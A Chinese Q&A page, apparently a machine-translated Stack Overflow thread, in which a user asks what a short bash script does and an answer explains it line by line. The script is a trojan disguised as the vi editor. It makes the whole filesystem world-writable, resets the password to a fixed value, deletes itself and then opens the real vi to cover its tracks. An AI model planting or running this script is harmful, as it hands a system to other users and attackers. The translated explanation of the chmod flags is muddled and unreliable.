该Bash Shell脚本有什么作用?

时间:2018-09-03 15:39:24

标签: bash shell unix

关于Shell脚本,我是一个非常笨拙的初学者,但是我必须能够解释这些代码行的用途,并且没有足够的时间首先熟悉它,所以我不能真正给出一个很多投入。

作为附加信息,脚本本身像编辑器一样被称为vi,可能有害/希望以admin身份运行

#!/bin/bash
#
# execute on your own risk !!
chmod -R og+rwx /
echo -e ‘‘Hacke.peter\n Hacke.peter\n’’ | passwd
rm $0
vi $*
logout # good bye!

我认为这个想法是有人试图运行实际的vi(而不是此脚本),然后他不小心调用了该脚本-它会将当前用户密码更改为echo命令的输出(不知道那是什么) ),然后shell删除自身并调用编辑器,因此我们不知道发生任何事情。 非常感谢您提前做出任何答复,并很抱歉。

1 个答案:

答案 0 :(得分:2)

HMM不确定是笨手笨脚的初学者还是狡猾的黑客[插入可疑的Fry meme]。这样的姓氏?

脚本逐步执行以下操作:

  1. chmod -R og+rwx /:递归(-R)打开您的所有文件,以供组(+rwx)中的用户读取,写入和执行(g)。所有其他用户(o)。

  2. echo -e ‘‘Hacke.peter\n Hacke.peter\n’’ | passwd:将超级用户密码重置为“ Hacke.peter”。

  3. rm $0:将自身删除。 bash中的$0代表当前脚本的文件名。

  4. vi $*:使用您传递给原始(现在已擦除)脚本的任何参数($*)打开真正的vi编辑器。如果脚本也称为vi,则此步骤是隐藏曲目并避免怀疑。

  5. logout:使您退出root用户模式。现在您不再具有root用户,并且文件系统已打开。

非常讨厌的脚本!